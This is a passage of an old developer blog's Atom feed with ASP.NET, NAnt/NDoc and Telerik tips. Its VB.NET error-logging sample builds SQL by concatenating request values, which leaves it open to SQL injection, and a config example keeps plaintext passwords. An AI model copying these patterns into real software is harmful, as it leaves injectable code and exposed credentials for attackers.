href='http://www.blogger.com/comment.g?blogID=6523426199047481474&amp;postID=4056828652611381867' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6523426199047481474/posts/default/4056828652611381867'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6523426199047481474/posts/default/4056828652611381867'/><link rel='alternate' type='text/html' href='http://anilit.blogspot.com/2008/08/qtp-testing-load-excel-file.html' title='QTP testing: load excel file'/><author><name>Hello</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6523426199047481474.post-6196110509544115390</id><published>2008-02-06T21:16:00.000-08:00</published><updated>2008-02-06T21:32:15.128-08:00</updated><title type='text'>NDOC in NAnt</title><content type='html'>&lt;a href="http://2.bp.blogspot.com/_TlcA67aiU5k/R6qUPTjMMsI/AAAAAAAAACM/o1qtmS1q9-k/s1600-h/NDOC.GIF"&gt;&lt;img id="BLOGGER_PHOTO_ID_5164102913400517314" style="FLOAT: left; MARGIN: 0px 10px 10px 0px; CURSOR: hand" alt="" src="http://2.bp.blogspot.com/_TlcA67aiU5k/R6qUPTjMMsI/AAAAAAAAACM/o1qtmS1q9-k/s200/NDOC.GIF" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;div&gt; &lt;/div&gt;&lt;div&gt; &lt;/div&gt;&lt;div&gt; &lt;/div&gt;&lt;div&gt; &lt;/div&gt;&lt;div&gt; &lt;/div&gt;&lt;div&gt; &lt;/div&gt;&lt;div&gt; &lt;/div&gt;&lt;div&gt; &lt;/div&gt;&lt;div&gt; &lt;/div&gt;&lt;div&gt;&lt;span style="font-size:85%;"&gt;&amp;lt;target name="CreateDocumentation" description="Will create documentation for Buidling Solution"&gt;  &lt;ndoc&gt;   &lt;assemblies basedir="${project.builddir}${build.versioned}\bin"&gt;    &lt;include name="Gct*.dll"&gt;   &lt;/assemblies&gt;   &lt;summaries basedir="${project.builddir}${build.versioned}\bin"&gt;    &lt;include name="GctCharity.XML"&gt;   &lt;/summaries&gt;   &lt;documenters&gt;    &lt;documenter name="MSDN"&gt;     &lt;property name="OutputDirectory" value="${folderin.project.nantsupport}\${ndoc.dir}"&gt;     &lt;property name="HtmlHelpName" value="${project.name}"&gt;     &lt;property name="HtmlHelpCompilerFilename" value="hhc.exe"&gt;     &lt;property name="IncludeFavorites" value="False"&gt;     &lt;property name="Title" value=":: ${project.name} :: Documentation : Help"&gt;     &lt;property name="SplitTOCs" value="True"&gt;     &lt;property name="DefaulTOC" value="True"&gt;     &lt;property name="ShowVisualBasic" value="True"&gt;     &lt;property name="ShowMissingSummaries" value="True"&gt;     &lt;property name="ShowMissingRemarks" value="True"&gt;     &lt;property name="ShowMissingParams" value="True"&gt;     &lt;property name="ShowMissingReturns" value="True"&gt;     &lt;property name="ShowMissingValues" value="True"&gt;     &lt;property name="DocumentInternals" value="False"&gt;     &lt;property name="DocumentProtected" value="True"&gt;     &lt;property name="DocumentPrivates" value="False"&gt;     &lt;property name="DocumentEmptyNamespaces" value="False"&gt;     &lt;property name="IncludeAssemblyVersion" value="False"&gt;     &lt;property name="CopyrightText" value="${ndoc.developed.by}"&gt;     &lt;property name="CopyrightHref" value="${ndoc.developed.by.url}"&gt;    &lt;/documenter&gt;   &lt;/documenters&gt;  &lt;/ndoc&gt;  &amp;lt;/target&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6523426199047481474-6196110509544115390?l=anilit.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://anilit.blogspot.com/feeds/6196110509544115390/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6523426199047481474&amp;postID=6196110509544115390' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6523426199047481474/posts/default/6196110509544115390'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6523426199047481474/posts/default/6196110509544115390'/><link rel='alternate' type='text/html' href='http://anilit.blogspot.com/2008/02/ndoc-in-nant_06.html' title='NDOC in NAnt'/><author><name>Hello</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_TlcA67aiU5k/R6qUPTjMMsI/AAAAAAAAACM/o1qtmS1q9-k/s72-c/NDOC.GIF' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6523426199047481474.post-8792136058946220334</id><published>2008-01-22T03:55:00.000-08:00</published><updated>2008-01-22T03:57:15.396-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='web garden'/><category scheme='http://www.blogger.com/atom/ns#' term='ASP.NET'/><title type='text'>request queues ASP.NET</title><content type='html'>ASP.NET uses two request queues:&lt;br /&gt;•The global queue, which is managed by the process that runs ASP.NET (Aspnet_wp). The global queue is configured in the Machine.config file by the &lt;processmodel&gt; property.&lt;br /&gt;•The application queue, or virtual directory queue, which is managed by the HttpRuntime class. The HttpRuntime class provides run-time services for ASP.NET applications. There is one queue for each virtual directory. The application queue is configured in Machine.config by the &lt;httpruntime&gt; property.&lt;br /&gt;When either queue exceeds its default limit, the request is rejected with a 503 error (Service Unavailable).&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6523426199047481474-8792136058946220334?l=anilit.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://anilit.blogspot.com/feeds/8792136058946220334/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6523426199047481474&amp;postID=8792136058946220334' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6523426199047481474/posts/default/8792136058946220334'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6523426199047481474/posts/default/8792136058946220334'/><link rel='alternate' type='text/html' href='http://anilit.blogspot.com/2008/01/request-queues-aspnet.html' title='request queues ASP.NET'/><author><name>Hello</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6523426199047481474.post-4005089683915868341</id><published>2008-01-16T05:26:00.000-08:00</published><updated>2008-01-16T05:28:02.224-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='reason behind restart'/><title type='text'>WHY DOT NET application restarts.</title><content type='html'>&lt;p&gt;&lt;span style="font-family:arial;font-size:85%;"&gt;&lt;strong&gt;Recreating the application domain and recompiling pages takes time, therefore unforeseen application restarts should be investigated. The application domain is unloaded when one of the following occurs: &lt;/strong&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;span style="font-family:arial;font-size:85%;"&gt;Modification of machine.config, web.config, or global.asax.&lt;br /&gt;Modification of the application's bin directory or its contents.&lt;br /&gt;When the number of compilations (ASPX, ASCX, or ASAX) exceeds the limit specified by &lt;compilation numrecompilesbeforeapprestart="/"&gt;.&lt;br /&gt;Modification of the physical path of a virtual directory.&lt;br /&gt;Modification of the code-access security policy.&lt;br /&gt;The Web service is restarted.&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;span style="font-family:arial;font-size:85%;"&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6523426199047481474-4005089683915868341?l=anilit.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://anilit.blogspot.com/feeds/4005089683915868341/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6523426199047481474&amp;postID=4005089683915868341' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6523426199047481474/posts/default/4005089683915868341'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6523426199047481474/posts/default/4005089683915868341'/><link rel='alternate' type='text/html' href='http://anilit.blogspot.com/2008/01/why-dot-net-application-restarts.html' title='WHY DOT NET application restarts.'/><author><name>Hello</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6523426199047481474.post-7534698964302288367</id><published>2008-01-14T05:37:00.000-08:00</published><updated>2008-01-15T22:22:30.043-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='web.config'/><category scheme='http://www.blogger.com/atom/ns#' term='machine.config'/><title type='text'>Locking down configuration settings/overriding configuration settings</title><content type='html'>In addition to specifying path information using the &amp;lt;location&gt;tag, you can also specify security so that settings cannot be overridden by another configuration file further down the configuration hierarchy. To lock down a group of settings, you can specify an allowOverride attribute on the surrounding &amp;lt;location&gt;tag and set it to false. The following code locks down impersonation settings for two different applications.&lt;br /&gt;&amp;lt;configuration&gt;&lt;br /&gt;&amp;lt;location allowoverride="false" path="app1"&gt;&amp;lt;system.web&gt;&amp;lt;identity username="app1" impersonate="false" password="app1pw"&gt;&lt;/SYSTEM.WEB&gt;&amp;lt;/location&gt;&lt;br /&gt;&amp;lt;location allowoverride="false" path="app2"&gt;&amp;lt;system.web&gt;&amp;lt;identity username="app2" impersonate="false" password="app2pw"&gt;&amp;lt;/SYSTEM.WEB&gt;&amp;lt;/location&gt;&lt;br /&gt;&amp;lt;/configuration&gt;&lt;br /&gt;&lt;strong&gt;allowdefinition&lt;/strong&gt; is used to allow child to define tags&lt;/span&gt; &lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-size:85%;"&gt;&lt;strong&gt;allowoverride &lt;/strong&gt;is used to allow child to override tags&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&amp;lt;location path="." inheritInChildApplications="false"&gt;   &lt;/p&gt;&lt;p&gt;&amp;lt;system.web&gt;  ...  &amp;lt;/system.web&gt;&amp;lt;/location&gt; &lt;/span&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6523426199047481474-7534698964302288367?l=anilit.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://anilit.blogspot.com/feeds/7534698964302288367/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6523426199047481474&amp;postID=7534698964302288367' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6523426199047481474/posts/default/7534698964302288367'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6523426199047481474/posts/default/7534698964302288367'/><link rel='alternate' type='text/html' href='http://anilit.blogspot.com/2008/01/locking-down-configuration.html' title='Locking down configuration settings/overriding configuration settings'/><author><name>Hello</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6523426199047481474.post-7458693684692853497</id><published>2008-01-14T05:26:00.000-08:00</published><updated>2008-01-14T05:27:44.000-08:00</updated><title type='text'>overriding parent web.config</title><content type='html'>While the ability of applications and folders to inherit settings from parent web.config files is very convenient, it presents security implications. For example, the &lt;appSettings&gt; element can be used to store key/value pairs for runtime retrieval from your application. If this element is used to store values in the machine.config file, these values are available to any application on that machine. In a shared server environment, this could potentially expose information to others in undesirable ways. &lt;br /&gt;&lt;br /&gt;Another security issue with both machine.config and web.config is how to prevent modification of inherited settings. For example, a server administrator might want to configure authentication settings globally in the machine.config file and prevent application developers from overriding these settings in their applications. This can be accomplished by using the &lt;location&gt; element, setting its allowOverride attribute to False and optionally, setting the path attribute to an application path (if the locked-down settings are to apply only to a specific file or folder). &lt;br /&gt;&lt;br /&gt;It is important to exercise caution when working with the machine.config file to avoid making changes if you are uncertain of their impact (particularly on other applications). Remember that machine.config contains configuration settings not only for all ASP.NET web applications for a given machine, but also for all .NET applications on that machine. Thus, changes to machine.config can have a broad impact. It's a good idea to back up the machine.config file before editing it, so that if your changes result in problems, you can always restore the previous copy. Another alternative is to place the machine.config file under a source code control system, such as Visual Source Safe, and require checkout of the file to make modifications. This provides the ability to roll back changes, as well as the additional ability to track who has made changes to the file. &lt;br /&gt;&lt;br /&gt;Finally, your application is required to have a web.config file. If the default settings from machine.config (or a parent web.config) file serve your needs, then omitting this file will simplify your deployment and maintenance tasks. Only use web.config when you need to make changes to the default configuration provided by machine.config. &lt;br /&gt;&lt;br /&gt;Probably the most common error that is encountered with web.config and machine.config relates to capitalization. Tags and elements within both these files are case sensitive. Tags and elements follow the naming convention referred to as camel-casing, in which the first letter of the first word of the element or attribute is lowercase, and the first letter of each subsequent word is uppercase. Attribute values are also case sensitive, but do not follow any particular naming convention.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6523426199047481474-7458693684692853497?l=anilit.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://anilit.blogspot.com/feeds/7458693684692853497/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6523426199047481474&amp;postID=7458693684692853497' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6523426199047481474/posts/default/7458693684692853497'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6523426199047481474/posts/default/7458693684692853497'/><link rel='alternate' type='text/html' href='http://anilit.blogspot.com/2008/01/overriding-parent-webconfig.html' title='overriding parent web.config'/><author><name>Hello</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6523426199047481474.post-607068375144813105</id><published>2008-01-14T04:26:00.000-08:00</published><updated>2008-01-14T04:35:23.007-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='VB.NET'/><category scheme='http://www.blogger.com/atom/ns#' term='ASP.NET'/><title type='text'>Error handling/ error gathering code</title><content type='html'>&lt;p&gt;Imports System.Data&lt;/p&gt;&lt;p&gt;Imports System.Data.SqlClientImports dataConnection&lt;/p&gt;&lt;p&gt;&lt;br /&gt;Partial Class ErrInfo Inherits System.Web.UI.Page &lt;/p&gt;&lt;p&gt;Public error_ID As String &lt;/p&gt;&lt;p&gt;Public errpath As String &lt;/p&gt;&lt;p&gt;Dim DatabaseObject As New dataConnection &lt;/p&gt;&lt;p&gt;Dim datareader As SqlDataReader&lt;br /&gt;Protected Sub Page_Load(ByVal sender As Object, ByVal e As System.EventArgs) Handles Me.Load&lt;br /&gt;Dim strSql As String Dim ex As Exception = dataConnection.LastError Dim ErrMsg, pageUrl, stack_info As String ErrMsg = dataConnection.LastError.InnerException.Message.ToString() pageUrl = dataConnection.lastURL.ToString stack_info = dataConnection.LastError.ToString ErrMsg = ErrMsg.Replace("'", "") ErrMsg = ErrMsg.Replace(".", "")&lt;br /&gt;Dim errLine As String 'errLine = Mid(ex.ToString(), InStr(ex.ToString(), ":line") - 20, InStr(ex.ToString(), "at System") - InStr(ex.ToString(), ":line") + 20) errLine = Mid(ex.ToString(), ex.ToString().LastIndexOf(":line") + 6, 8) 'ex.ToString().LastIndexOf("at System") - ex.ToString().LastIndexOf(":line") + 20)&lt;br /&gt;Dim pageArr As String() = pageUrl.Split(New [Char]() {"/"c})&lt;br /&gt;Dim currDateTime As DateTime = DateTime.Now Dim errorDate As String&lt;br /&gt;DatabaseObject.openDB() errorDate = currDateTime.ToString("dd/MMM/yy")&lt;br /&gt;strSql = "INSERT INTO ERRORLOG VALUES ('" &amp;amp; dataConnection.lastURL &amp;amp; "','" &amp;amp; Request("aspxerrorpath").ToString &amp;amp; "','" &amp;amp; ErrMsg &amp;amp; "','" &amp;amp; errorDate &amp;amp; "')"&lt;br /&gt;DatabaseObject.executeNonQuery(strSql) datareader = DatabaseObject.executeReader("SELECT IDENT_CURRENT('ERRORLOG') as error_id") If datareader.HasRows Then datareader.Read() error_ID = datareader("error_id").ToString End If&lt;br /&gt;datareader.Close() datareader.Dispose()&lt;br /&gt;DatabaseObject.closedb()&lt;br /&gt;'send error mail to admin Dim body As String body = " &lt;/p&gt;&lt;p&gt;&amp;lt;table cellspacing="'3'" cellpadding="'3'" width="'90%'" align="'center'" border="'0'"&gt;" body += " &lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;b&gt;Error Date: &lt;/b&gt;" &amp;amp; errorDate &amp;amp; "&lt;/td&gt;&lt;/tr&gt;" body += " &lt;tr&gt;&lt;td&gt;&lt;b&gt;Error Time: &lt;/b&gt;" &amp;amp; Date.Now.ToString("HH:mm:ss tt") &amp;amp; "&lt;/td&gt;&lt;/tr&gt;" body += " &lt;tr&gt;&lt;td&gt;&lt;b&gt;User Name: &lt;/b&gt;" &amp;amp; Session("userID") &amp;amp; "&lt;/td&gt;&lt;/tr&gt;" body += " &lt;tr&gt;&lt;td&gt;&lt;b&gt;OS: &lt;/b&gt;" &amp;amp; Request.Browser.Platform &amp;amp; "&lt;/td&gt;&lt;/tr&gt;" body += " &lt;tr&gt;&lt;td&gt;&lt;b&gt;Browser: &lt;/b&gt;" &amp;amp; Request.Browser.Browser &amp;amp; "&lt;/td&gt;&lt;/tr&gt;" body += " &lt;tr&gt;&lt;td&gt;&lt;b&gt;Page: &lt;/b&gt;" &amp;amp; Request("aspxerrorpath").ToString &amp;amp; "&lt;/td&gt;&lt;/tr&gt;" body += " &lt;tr&gt;&lt;td&gt;&lt;b&gt;URL: &lt;/b&gt;" &amp;amp; dataConnection.lastURL &amp;amp; "&lt;/td&gt;&lt;/tr&gt;" body += " &lt;tr&gt;&lt;td&gt;&lt;b&gt;Line: &lt;/b&gt;" &amp;amp; errLine &amp;amp; "&lt;/td&gt;&lt;/tr&gt;" body += " &lt;tr&gt;&lt;td&gt;&lt;b&gt;Error Details: &lt;/b&gt;" &amp;amp; ErrMsg &amp;amp; " &lt;td&gt;&lt;/td&gt;&lt;/tr&gt;" body += " &lt;tr&gt;&lt;td&gt;&lt;b&gt;Stack Information: &lt;/b&gt;" &amp;amp; stack_info &amp;amp; " &lt;td&gt;&lt;/td&gt;&lt;/tr&gt;" body += "&lt;/tbody&gt;&amp;lt;/table&gt;&lt;/p&gt;&lt;p&gt;"&lt;br /&gt;Dim page_name As String = Request("aspxerrorpath").Substring(1) 'Response.Write(body &amp;amp; "&lt;br /&gt;" &amp;amp; page_name) DatabaseObject.sendMail1(body, "&lt;a href="mailto:admin@yoursite.com"&gt;admin@yoursite.com&lt;/a&gt;", "cc", "Error on file " &amp;amp; page_name) 'DatabaseObject.sendMail1(body, "&lt;a href="mailto:admin@yoursite.com"&gt;admin@yoursite.com&lt;/a&gt;", "cc", "Error on ..") End Sub &lt;/p&gt;&lt;p&gt;End Class&lt;/p&gt;&lt;p&gt;&lt;strong&gt;add following in global.asax:&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;Sub Application_Error(ByVal sender As Object, ByVal e As EventArgs) ' Code that runs when an unhandled error occurs dataConnection.LastError = Server.GetLastError() dataConnection.lastURL = Request.Url().ToString End Sub&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;add following in web.config:&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&amp;lt;customErrors mode="Off" defaultRedirect="ErrInfo.aspx"&gt;&lt;customerrors mode="Off" defaultredirect="ErrInfo.aspx"&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6523426199047481474-607068375144813105?l=anilit.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://anilit.blogspot.com/feeds/607068375144813105/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6523426199047481474&amp;postID=607068375144813105' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6523426199047481474/posts/default/607068375144813105'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6523426199047481474/posts/default/607068375144813105'/><link rel='alternate' type='text/html' href='http://anilit.blogspot.com/2008/01/error-handling-error-gathering-code.html' title='Error handling/ error gathering code'/><author><name>Hello</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6523426199047481474.post-6313264847260833376</id><published>2008-01-10T22:14:00.000-08:00</published><updated>2008-01-10T22:18:07.550-08:00</updated><title type='text'>Optimization Tips and Tricks for Telerik</title><content type='html'>&lt;span style="font-size:85%;"&gt;&lt;span style="font-family:arial;"&gt;&lt;strong&gt;Top 15 Optimization Tips and Tricks&lt;/strong&gt; &lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-family:arial;"&gt;While we do a lot to help you optimize RadControls in your applications, the Telerik community also does a great job of sharing optimization tips and tricks. One of the best list of optimization tricks ever produced by the community has recently surfaced on the Telerik forums. Some of these ideas are specific to optimizing the RadControls, but many of them are great optimization techniques for ASP.NET in general. So without further ado, here are the "Top 15 Telerik Community Optimization Tips &amp;amp; Tricks" (in no particular order):&lt;br /&gt;&lt;strong&gt;1.Make sure browser caching is enabled&lt;/strong&gt;&lt;br /&gt;Many RadControls must load a fair amount of JavaScript to enable all of the client-side goodness that we love in our modern web apps. To make sure this JavaScript is only downloaded once (instead of on every page request), make sure your users enable caching in their browsers.&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:arial;"&gt;&lt;strong&gt;2.Move ViewState off of the page&lt;br /&gt;&lt;/strong&gt;If you've got a lot of controls on your page and ViewState is enabled, chances are it is adding a lot of weight to the page. If turning ViewState off is not an option, you can greatly reduce the HTML sent to the client by moving ViewState off of the page and into Session (or some other server-side storage mechanism). For a good tutorial on this process, check out the following article: http://www.codeproject.com/aspnet/PersistentStatePage.asp.&lt;br /&gt;&lt;strong&gt;3.Disable control ViewState&lt;/strong&gt;&lt;br /&gt;Similar to the previous trick, you can also set "EnableViewState" on each control to False and then manually manage the state on each page postback. Those of us that developed with classic ASP may recall some of the numerous ways this was accomplished before ASP.NET gave us ViewState. Manually managing control state can be time consuming, but it can help you keep your page HTML trim.&lt;br /&gt;&lt;strong&gt;4.Use HTML Compression Tools&lt;/strong&gt;&lt;br /&gt;One of the easiest ways to reduce the HTML that you send to the client is to use an HTML compression tool. Compression tools can reduce the size of the HTML sent over the "tubes" for RadControls by up to 75%. Check out this forum thread for more details: http://www.telerik.com/community/forums/thread/b311D-tdkga.aspx.&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:arial;"&gt;&lt;strong&gt;5.Background Image Caching in IE&lt;br /&gt;&lt;/strong&gt;By default, IE will not cache background images. If you use any CSS in your application (which you do if you use RadControls with skins), this can lead to a lot of wasted downloads in IE. Fortunately, there is a way to "trick" IE into caching background images. Check out the details here: http://www.telerik.com/community/forums/thread/b311D-teckk.aspx.&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:arial;"&gt;&lt;strong&gt;6.Read the Documentation&lt;br /&gt;&lt;/strong&gt;This may sound like a worthless trick, but don't discount it until you've given it a try. Almost all RadControls have a dedicated "Speed Optimization" topic in their documentation that contains tips specific to each RadControl. Visit the RadControls documentation to find these tips. (Here is a link to RadGrid's optimization documentation to get you started.)&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:arial;"&gt;&lt;strong&gt;7.Use Http Analysis Tools&lt;br /&gt;&lt;/strong&gt;How can you solve a problem without seeing it first? Free tools like Fiddler (for IE) and FireBug (for FireFox) help you peel back the curtain on your page's performance and quickly find bottlenecks in your page HTML that need to be optimized.&lt;br /&gt;&lt;strong&gt;8.Use 3rd Party Optimization Tools&lt;/strong&gt;&lt;br /&gt;Still looking for optimization techniques that don't require much work? There are several tools, like port80 and cacheright, that help automate the process of optimizing your page. These tools can help eliminate many of the caching problems that you'd otherwise have to deal with manually.&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:arial;"&gt;&lt;strong&gt;9.Use External Resources instead of EmbeddedResources&lt;br /&gt;&lt;/strong&gt;Embedded resources are generally very good and very helpful. They allow you do just deploy a control assembly and not deal with any additional files. When a page uses EmbeddedResources, though, resources are pulled from an assembly using a handler and querystring value (like WebResource.axd?d=HTLSHE...). Unfortunately, these long querystrings are adding bulk to the HTML you are sending to the client. One Telerik community member found that setting "UseEmbeddedResources" to False (and using external resources in the RadControls folder instead) reduced page size from 80 kB to about 50 kB simply due to the shorter resource paths. Your mileage may vary depending on the RadControls you're using.&lt;br /&gt;&lt;strong&gt;10.Keep Control IDs Short&lt;/strong&gt;&lt;br /&gt;Whenever you have deeply nested controls, the ID of the parent control is always appended to child control IDs (if the parents implement INamingContainer). If you have long control IDs, you can cause a fair amount of extra HTML to be rendered to the page. For example, if we have a RadTreeView with ID "RadTreeView1" in ContentPlaceHolder with ID "ContentPlaceHolder1" (in a MasterPage), the resulting client ID of the TreeView is "ctl00_ContentPlaceHolder1_RadTreeView1". If we had used shorter server IDs, we could have trimmed this output to "ctl00_cph1_rtv1" and reduced the overall HTML sent to our page. This trick should always be weighed against making your code difficult to maintain due to cryptic control IDs.&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:arial;"&gt;&lt;strong&gt;11.Test Sites in IIS (not Cassini)&lt;br /&gt;&lt;/strong&gt;The web server built-in to Visual Studio is very convenient for development, but it is not a good place to test your site's performance. Cassini does not do any caching of web resources and it is generally slower than IIS. You should always test your site in IIS before deploying it to a PROD environment to make sure you know how it will really perform.&lt;br /&gt;&lt;strong&gt;12.Use RamDisks in your Infrastructure&lt;/strong&gt;&lt;br /&gt;If you have control over your servers and are willing to make some hardware changes to improve performance, RamDisks may be worth checking out. By using RamDisks instead of traditional HDD for things like tempdb storage in SQL Server or HTTP decompression scratch storage, you can (supposedly) deliver performance 50x's normal hard drives. Check out this resource for more details: http://www.superspeed.com/ramdisk.php.&lt;br /&gt;&lt;strong&gt;13.Use Incremental Page Fetch&lt;/strong&gt;&lt;br /&gt;It sounds more exciting than it is, but by using RadAjax and some crafty coding you can help your pages load faster. In essence, you delay loading all of the user controls needed by your page so that the page will initially load faster and then load the controls with RadAjax. For details on this process, check out this link: http://www.telerik.com/community/forums/thread/b311D-tkkce.aspx.&lt;br /&gt;&lt;strong&gt;14.Remove Whitespace Characters&lt;/strong&gt;&lt;br /&gt;You may not realize it, but all of the whitespace characters our page contains to make it easy to read add HTML bulk. We definitely don't want to get rid of all of our page formatting at design time, though, so there are modules like this that remove the whitespace at runtime. By tapping-in to the page's render method, you can easily search for whitespace characters in your page and remove them to keep your pages trim. Warning: this method may cause problems if you use it with the new RadControls "Prometheus".&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:arial;"&gt;&lt;strong&gt;15.Don't use Label when Literal works&lt;br /&gt;&lt;/strong&gt;Perhaps one of the most overlooked ASP controls is the "asp:literal" control. There are many times when ASP.NET developers use Label or HyperLink when Literal would do the job and save HTML bulk. For example, if you use a Label like this:&lt;br /&gt;&lt;?xml:namespace prefix = asp /&gt;&lt;asp:label id="Label1" runat="server" text="Some test text"&gt;&lt;/asp:label&gt;&lt;br /&gt;will render:&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span id="ctl00_Label1"&gt;&lt;span style="font-family:arial;font-size:85%;"&gt;Some test text&lt;br /&gt;&lt;br /&gt;If you use a Literal like this:&lt;br /&gt;&lt;asp:literal runat="server" text="Some test text"&gt;&lt;/asp:literal&gt;&lt;br /&gt;will render:&lt;br /&gt;Some test text&lt;br /&gt;&lt;br /&gt;The literal will not render any unnecessary span tags and help you reduce HTML sent to the client.&lt;br /&gt;So there you go. The top 15 optimization tips and tricks as suggested by the Telerik community. Special credit goes to Johan, andyk, Martin Bischoff, and Mike for collecting most of these ideas in the forums.&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;span id="ctl00_Label1"&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6523426199047481474-6313264847260833376?l=anilit.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://anilit.blogspot.com/feeds/6313264847260833376/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6523426199047481474&amp;postID=6313264847260833376' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6523426199047481474/posts/default/6313264847260833376'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6523426199047481474/posts/default/6313264847260833376'/><link rel='alternate' type='text/html' href='http://anilit.blogspot.com/2008/01/optimization-tips-and-tricks-for.html' title='Optimization Tips and Tricks for Telerik'/><author><name>Hello</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' 